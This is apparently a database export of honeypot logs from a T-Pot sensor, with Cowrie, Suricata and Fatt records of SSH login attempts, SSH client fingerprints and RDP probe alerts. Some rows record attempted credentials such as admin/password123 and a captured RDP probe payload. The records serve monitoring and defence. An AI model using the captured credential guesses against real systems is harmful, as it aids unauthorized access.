27764	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:25.882004+03	2021-09-20 14:30:01.893523+03	{"_id": "QQbqAnwBvYTbRNuE_Coa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/?] failed", "session": "13955cabdae7", "@version": "1", "password": "?", "username": "root", "timestamp": "2021-09-20T11:15:25.882004Z", "@timestamp": "2021-09-20T11:15:25.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27642	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:06.947555+03	2021-09-20 14:30:01.735525+03	{"_id": "RQbqAnwBvYTbRNuEsSnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8e29cb4e7ead", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:06.947555Z", "@timestamp": "2021-09-20T11:15:06.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27643	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:07.677734+03	2021-09-20 14:30:01.736524+03	{"_id": "RwbqAnwBvYTbRNuEsSnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4e299524a7a1", "@version": "1", "timestamp": "2021-09-20T11:15:07.677734Z", "@timestamp": "2021-09-20T11:15:07.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27644	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:07.364898+03	2021-09-20 14:30:01.738523+03	{"_id": "SQbqAnwBvYTbRNuEsSnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [admin/password123] failed", "session": "eef9ec47a12c", "@version": "1", "password": "password123", "username": "admin", "timestamp": "2021-09-20T11:15:07.364898Z", "@timestamp": "2021-09-20T11:15:07.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27645	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:15:07.676902+03	2021-09-20 14:30:01.739523+03	{"_id": "TQbqAnwBvYTbRNuEsym7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 402251289186761, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner", "is_ssh_server_kex"]}, "src_port": 44746, "dest_port": 22, "timestamp": "2021-09-20T11:15:07.676902Z", "@timestamp": "2021-09-20T11:15:07.676Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27646	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:15:07.677025+03	2021-09-20 14:30:01.740524+03	{"_id": "TgbqAnwBvYTbRNuEtCn2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44746, "dest_port": 22, "timestamp": "2021-09-20T11:15:07.677025", "@timestamp": "2021-09-20T11:15:07.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27647	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:15:08.428072+03	2021-09-20 14:30:01.741524+03	{"_id": "ZgbqAnwBvYTbRNuEtyml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 455092272355027, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53696, "dest_port": 22, "timestamp": "2021-09-20T11:15:08.428072Z", "@timestamp": "2021-09-20T11:15:08.428Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27648	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:15:09.173294+03	2021-09-20 14:30:01.743524+03	{"_id": "ZwbqAnwBvYTbRNuEtyml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:08.418305+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1409236437066241, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50255, "dest_port": 3389, "timestamp": "2021-09-20T11:15:09.173294Z", "@timestamp": "2021-09-20T11:15:09.173Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
27649	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:15:08.741593+03	2021-09-20 14:30:01.744523+03	{"_id": "aAbqAnwBvYTbRNuEtyml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:08.418305+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1409236437066241, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50255, "dest_port": 3389, "timestamp": "2021-09-20T11:15:08.741593Z", "@timestamp": "2021-09-20T11:15:08.741Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
27650	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:15:09.173294+03	2021-09-20 14:30:01.746525+03	{"_id": "awbqAnwBvYTbRNuEtyml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:08.418305+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1409236437066241, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50255, "dest_port": 3389, "timestamp": "2021-09-20T11:15:09.173294Z", "@timestamp": "2021-09-20T11:15:09.173Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
27765	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:15:27.314836+03	2021-09-20 14:30:01.894524+03	{"_id": "TQbrAnwBvYTbRNuEASrn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 39459, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 912950819802580, "@version": "1", "in_iface": "enp5s0", "src_port": 55819, "dest_port": 53, "timestamp": "2021-09-20T11:15:27.314836Z", "@timestamp": "2021-09-20T11:15:27.314Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27651	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:08.430988+03	2021-09-20 14:30:01.748523+03	{"_id": "bwbqAnwBvYTbRNuEuCnh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53696, "timestamp": "2021-09-20T11:15:08.430988", "@timestamp": "2021-09-20T11:15:08.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27652	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:09.061212+03	2021-09-20 14:30:01.749524+03	{"_id": "cQbqAnwBvYTbRNuEuCni", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37458, "timestamp": "2021-09-20T11:15:09.061212", "@timestamp": "2021-09-20T11:15:09.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27653	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:15:10.864693+03	2021-09-20 14:30:01.750524+03	{"_id": "kwbqAnwBvYTbRNuEvyl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1116171491150754, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43792, "dest_port": 22, "timestamp": "2021-09-20T11:15:10.864693Z", "@timestamp": "2021-09-20T11:15:10.864Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
